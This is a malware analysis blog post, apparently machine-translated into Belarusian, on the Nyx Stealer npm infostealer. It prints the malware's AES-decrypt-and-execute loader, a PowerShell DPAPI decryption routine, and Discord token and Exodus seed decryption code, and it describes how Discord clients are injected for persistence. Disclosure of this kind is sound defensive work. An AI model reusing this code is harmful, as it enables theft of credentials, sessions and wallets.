TL, д-р
Каманда даследаванняў бяспекі Xygeni выяўлена складаная кампанія па крадзяжы інфармацыі npm, якая ажыццяўлялася праз два шкоднасныя пакеты: кансолі і selfbot-lofy.
Апошняя версія (consolelofy@1.3.0) убудоўвае карысную нагрузку памерам 216 КБ, зашыфраваную па AES, якая расшыфроўваецца падчас выканання і выконваецца праз vm.runInNewContext()Паколькі шкоднасная логіка цалкам зашыфраваная, статычныя сканеры, якія абапіраюцца на праверку радкоў, не могуць назіраць за яе паводзінамі да моманту выканання.
Пасля расшыфроўкі карысная нагрузка, унутрана брэндаваная Злодзей Нікс, мэты:
- Токены аўтэнтыфікацыі Discord
- Больш за 50 сховішчаў уліковых дадзеных браўзера
- Больш за 90 пашырэнняў для крыптавалюта-кашалькоў
- Сесіі ў Roblox, Instagram, Spotify, Steam, Telegram і TikTok
- Персістэнцаванасць кліента Discord для працоўнага стала
Усе 20 версій у абодвух пакетах былі паведамлены і пацверджаны як шкоднасныя.
Тэхнічны агляд гэтага npm Infostealer
У адрозненне ад традыцыйных шкоднасных праграм, якія ўсталёўваюцца падчас усталёўкі, гэтая кампанія абапіраецца на час выканання мадэль дэшыфравання.
Ёсць:
- Няма шкоднасных
preinstallorpostinstallhooks - Няма відавочных сеткавых выклікаў падчас усталёўкі
- Няма логікі збору ўліковых дадзеных у выглядзе адкрытага тэксту
Карысная нагрузка актывуецца пры імпарце модуля. Усё цела шкоднаснага праграмнага забеспячэння шыфруецца і матэрыялізуецца ў памяці толькі падчас выканання.
Гэтая канструкцыя спецыяльна дазваляе пазбегнуць выяўлення падчас усталёўкі пакета.
Як насамрэч працуе гэты npm-інфастэйлер
Перш чым аналізаваць, што крадзе Nyx Stealer, нам трэба зразумець як гэта выконваецца.
Шкоднасная логіка ўнутры гэтага npm-выкрадальніка інфармацыі прытрымліваецца паслядоўнай схемы:
Невялікі загрузнік расшыфроўвае вялікую зашыфраваную карысную нагрузку і выконвае яе дынамічна ў кантэксце віртуальнай машыны Node.js.
Гэта наўмысная задумка. Зламыснік не хавае функцыянальнасць толькі за абфускацыяй, ён цалкам выдаляючы шкоднасны код са статычнай бачнасці.
Высокаўзроўневая мадэль выканання
На высокім узроўні абгортка выконвае чатыры рэчы:
- Атрымлівае ключ AES з жорстка закадаванай парольнай фразы з выкарыстаннем SHA-256
- Расшыфроўвае вялікі шаснаццатковы шыфраваны тэкст з выкарыстаннем AES-256-CBC
- Выконвае расшыфраваны JavaScript з дапамогай
vm.runInNewContext() - Забяспечвае пясочніцу, якая ўсё яшчэ адкрывае доступ да магутных прымітываў асяроддзя выканання
Кароткі змест асноўнай тэхнікі
| Кампанент | Канфігурацыя / Значэнне |
|---|---|
| Алгарытм | AES-256-CBC |
| Вывад ключа | SHA-256 (парольная фраза) |
| Вектар ініцыялізацыі (IV) | 16 байтаў 0x00 |
| Execution | vm.runInNewContext(дэшыфравана, пясочніца) |
Важна адзначыць, што пясочніца праходзіць праз:
requireprocessBuffer- таймеры
- экспарт модуляў
Гэта азначае, што расшыфраваная карысная нагрузка захоўвае поўную магчымасць:
- Працэсы нерасту
- Чытанне і запіс файлаў
- Рабіць сеткавыя званкі
- Змяніць лакальныя праграмы
Гэта не абмежаваная віртуальная машына. Гэта віртуальная машына, якая выкарыстоўваецца як трамплін для выканання.
Шаблон шыфравання падчас выканання (ядро механізму выканання)
Пагрузчык невялікі.
Зламыснае цела — не.
Ніжэй прыведзены шаблон выканання, які знаходзіцца ўнутры пакета:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Чаму гэта важна
Расшыфраваная карысная нагрузка:
- Лі ня існуе ў выглядзе адкрытага тэксту ўнутры пакета npm
- Нябачны для простага
grepабо статычнае сканаванне радкоў - Матэрыялізуецца ў памяці толькі падчас выканання
- Выконваецца з поўнымі магчымасцямі асяроддзя выканання Node
Гэта спалучэнне выканання AES + VM з'яўляецца моцным паводніцкім індыкатарам npm infostealer спрабуе пазбегнуць статычнай праверкі.
Іншымі словамі:
Калі вы прагледзіце дрэва зыходных кодаў пакетаў, вы не ўбачыце крадзеж пакетаў.
Вы бачыце дэшыфратар.
Што адбываецца пасля расшыфравання
Пасля выканання Nyx Stealer запускае паралельныя хвалі збору дадзеных.
Хваля 1: Выманне ўліковых дадзеных браўзера
Шкоднаснае праграмнае забеспячэнне:
- Запампоўвае асяроддзе выканання Python з NuGet CDN
- Усталёўвае крыптаграфічныя бібліятэкі
- Выманне сховішчаў уліковых дадзеных на аснове Chromium
- Расшыфруе сакрэты, абароненыя DPAPI
Замест кампіляцыі ўбудаваных прывязак, ён выкарыстоўвае PowerShell для непасрэднага выкліку Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Гэты падыход:
- Пазбягае артэфактаў кампіляцыі
- Выкарыстоўвае родныя крыптаграфічныя API Windows
- Зліваецца з адміністрацыйнымі інструментамі
Гэта расшыфроўка ўліковых дадзеных на ўзроўні аперацыйнай сістэмы, а не парсинг.
Хваля 2: Расшыфроўка токенаў Discord
Выкрадальнік карыстаецца пратаколамі. Ён разумее зашыфраваны фармат токенаў Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Аперацыйны паток:
- Атрымаць галоўны ключ з Discord
Local State - Расшыфраваць галоўны ключ праз DPAPI
- Расшыфраваць блобы токенаў AES-GCM
- Праверка токенаў з дапамогай Discord API
- Узбагаціце з дапамогай Nitro, значкоў, плацежнай інфармацыі
Гэта не агульная скідка ўліковых дадзеных. Гэта захоп сесіі з улікам пратакола.
Хваля 3: Таргетынг крыптавалюты-кашалькоў
Інфармацыйны выкрадальнік npm пералічвае:
- Больш за 90 пашырэнняў для браўзерных кашалькоў
- 27 настольных кашалькоў
- Шляхі халодных кашалькоў
- Файлы насення Exodus
Прыклад спробы расшыфроўкі пачатковага значэння:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } У выпадку поспеху ўзлом кашалька адбываецца неадкладна і незваротна.
Гэта ўяўляе сабой вектар манетызацыі кампаніі з найбольшай каштоўнасцю.
Захаванне праз ін'екцыю на працоўны стол Discord
Пасля збору ўліковых дадзеных Nyx Stealer спрабуе захаваць іх, змяняючы лакальныя дысананс кліент.
мэта:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Аперацыйная паслядоўнасць
Інфатэлер выконвае наступныя дзеянні:
- Завяршае запушчаныя працэсы Discord
- Знаходзіць усталяваныя варыянты Discord (Stable, Canary, PTB)
- Перазапісвае
discord_desktop_core/index.js - Укараняе логіку вэбхука, кантраляваную зламыснікам
- Перазапускае Discord
Гэта гарантуе, што будучыя сесіі Discord аўтаматычна будуць прапускаць новыя токены аўтэнтыфікацыі.
Важна адзначыць, што гэтая захаванасць не залежыць ад запланаваных задач або змяненняў у рэестры. Яна выкарыстоўвае змяненне кода на ўзроўні прыкладання, што з'яўляецца больш схаваным падыходам.
Нават калі шкоднасны пакет npm пазней будзе выдалены, кліент Discord застанецца пад пагрозай.
Тэхнічнае параўнанне: легітымны Selfbot супраць npm Infostealer
| Кампанент | Легітымная бібліятэка | Інфастэйлер Nyx npm |
|---|---|---|
| Шыфраванне | ні адзін | Поўная карысная нагрузка з шыфраваннем AES |
| Віртуальная машына асяроддзя выканання | Не патрабуецца | vm.runInNewContext выкананне |
| Доступ да ўліковых дадзеных | Толькі API Discord | Браўзер, кашалькі, DPAPI |
| Знешнія загрузкі | няма | Асяроддзе выканання Python праз NuGet |
| Настойлівасць | няма | Ін'екцыя кліента Discord |
| манетызацыя | Аўтаматызацыя ботаў | Перапродаж паўнамоцтваў |
Адзін толькі ўзровень шыфравання адрознівае гэтую кампанію ад тыповага форка з адкрытым зыходным кодам.
У легітымнага аўтбота Discord няма прычын шыфраваць усю сваю кодавую базу, запускаць PowerShell для доступу да DPAPI, спампоўваць знешнія асяроддзя выканання або змяняць унутраныя функцыі настольных праграм. Калі гэтыя магчымасці з'яўляюцца ўнутры залежнасці, якая нібыта аўтаматызуе ўзаемадзеянне ў Discord, архітэктурнае неадпаведнасць становіцца немагчымым ігнараваць.
З пункту гледжання расследавання, гэты npm-выкрадальнік інфармацыі пакідае сляды на некалькіх узроўнях. Аднак найбольш надзейнымі паказчыкамі з'яўляюцца не жорстка закадаваныя URL-адрасы або канкрэтныя шляхі да файлаў, бо яны могуць змяняцца паміж версіямі. Замест гэтага ўстойлівымі сігналамі з'яўляюцца структурныя.
На ўзроўні пакета найбольш моцным трывожным сігналам з'яўляецца спалучэнне вялікай зашыфраванай карыснай нагрузкі і абгорткі дэшыфравання падчас выканання, якая неадкладна выконваецца праз vm.runInNewContext()Хоць шыфраванне само па сабе не з'яўляецца шкоднасным, выкарыстанне AES-дэшыфравання з наступным дынамічным выкананнем віртуальнай машыны ўнутры ўтылітнага пакета Discord з'яўляецца вельмі анамальным.
На ўзроўні хоста падазроныя заканамернасці ўключаюць нечаканую актыўнасць расшыфроўкі DPAPI, стварэнне працэсаў з кантэксту залежнасцей Node.js і мадыфікацыю лакальных файлаў прыкладанняў, якія ніколі не павінны змяняцца староннімі бібліятэкамі. Аналагічна, на сеткавым узроўні выходная сувязь у стылі вэб-хука, ініцыяваная залежнасцю распрацоўкі, уяўляе сабой яшчэ адну значную анамалію.
Іншымі словамі, паверхня выяўлення — гэта не адзіны паказчык кампраметацыі. Пагрозу выяўляе карэляцыя шыфравання, выканання, доступу да ўліковых дадзеных і паводзін, звязаных з захаваннем дадзеных.
Выяўленне і змякчэнне наступстваў з дапамогай Xygeni
Гэты npm-злодзей інфармацыі быў ідэнтыфікаваны Ранняе папярэджанне аб шкоднасных праграмах (MEW) ад Xygeni праз шматслаёвую паводніцкую карэляцыю, а не простае супастаўленне сігнатур.
Замест пошуку вядомых шкоднасных радкоў MEW ацэньвае структурныя анамаліі па ўсім дрэве зыходнага кода. У гэтым выпадку выяўленне адбылося дзякуючы сукупнасці некалькіх сігналаў: убудаванай працэдуры расшыфроўкі AES у кропцы ўваходу модуля, неадкладнага выканання ўнутры кантэксту віртуальнай машыны і відавочнага неадпаведнасці паміж магчымасцямі і намерамі.
Важна адзначыць, што ні адзін з гэтых сігналаў сам па сабе не даказвае злога намеру. Аднак, калі іх аналізаваць разам, яны выяўляюць спробу схаваць паводзіны падчас выканання. Гэты шматслаёвы падыход значна памяншае колькасць ілжывых спрацоўванняў, адначасова выяўляючы высокаверагодныя пагрозы ланцужку паставак.
Акрамя таго, гэты выпадак ілюструе, чаму адной толькі праверкі падчас усталёўкі недастаткова. Шкоднасная логіка не знаходзіцца ў сцэнарыях жыццёвага цыклу. Яна актывуецца толькі пасля загрузкі модуля і становіцца бачнай толькі пасля расшыфроўкі ў памяці. Такім чынам, эфектыўная абарона патрабуе аналізу з улікам шыфравання, распазнавання паводніцкіх шаблонаў і пастаяннага маніторынгу залежнасцей пасля ўсталёўкі.
Выдаленне рэестра з'яўляецца рэактыўным. Аналіз з улікам выканання з'яўляецца прафілактычным.
Чаму важны гэты npm-інфастэйлер
Nyx Stealer прадстаўляе структурную эвалюцыю шкоднасных праграм на аснове npm.
Гістарычна склалася, што многія шкоднасныя пакеты абапіраліся на бачныя скрыпты падчас усталёўкі або відавочныя канчатковыя кропкі крадзяжу ўліковых дадзеных. У адрозненне ад гэтага, гэтая кампанія шыфруе сваю карысную нагрузку, адкладае выкананне да асяроддзя выканання, выкарыстоўвае легітымныя API аперацыйнай сістэмы і ўстанаўлівае пастаянства ўнутры давераных праграм.
Такім чынам, зламысніку не трэба выкарыстоўваць саму інфраструктуру npm. Замест гэтага атака паспяховая, таму што ўстаноўка залежнасцей мае на ўвазе давер. Распрацоўшчыкі мяркуюць, што імпарт бібліятэкі — гэта бяспечная аперацыя, асабліва калі яна прадстаўляецца як праўдападобны форк папулярнага інструмента.
Па меры росту экасістэм і распаўсюджвання форкаў гэтая няяўная мяжа даверу становіцца ўсё больш прывабнай паверхняй для атакі. Такім чынам, абарона ад сучасных злодзеяў інфармацыі ў npm патрабуе распазнавання архітэктурных шаблонаў, а не пошуку статычных радкоў.
У рэшце рэшт, гэтая кампанія падкрэслівае важны ўрок у software supply chain securityНайбольш небяспечныя пагрозы — гэта не тыя, якія на першы погляд выглядаюць шкоднаснымі, а тыя, якія выглядаюць структурна законнымі, пакуль падчас выканання не высветліцца іх сапраўдная паводзіны.




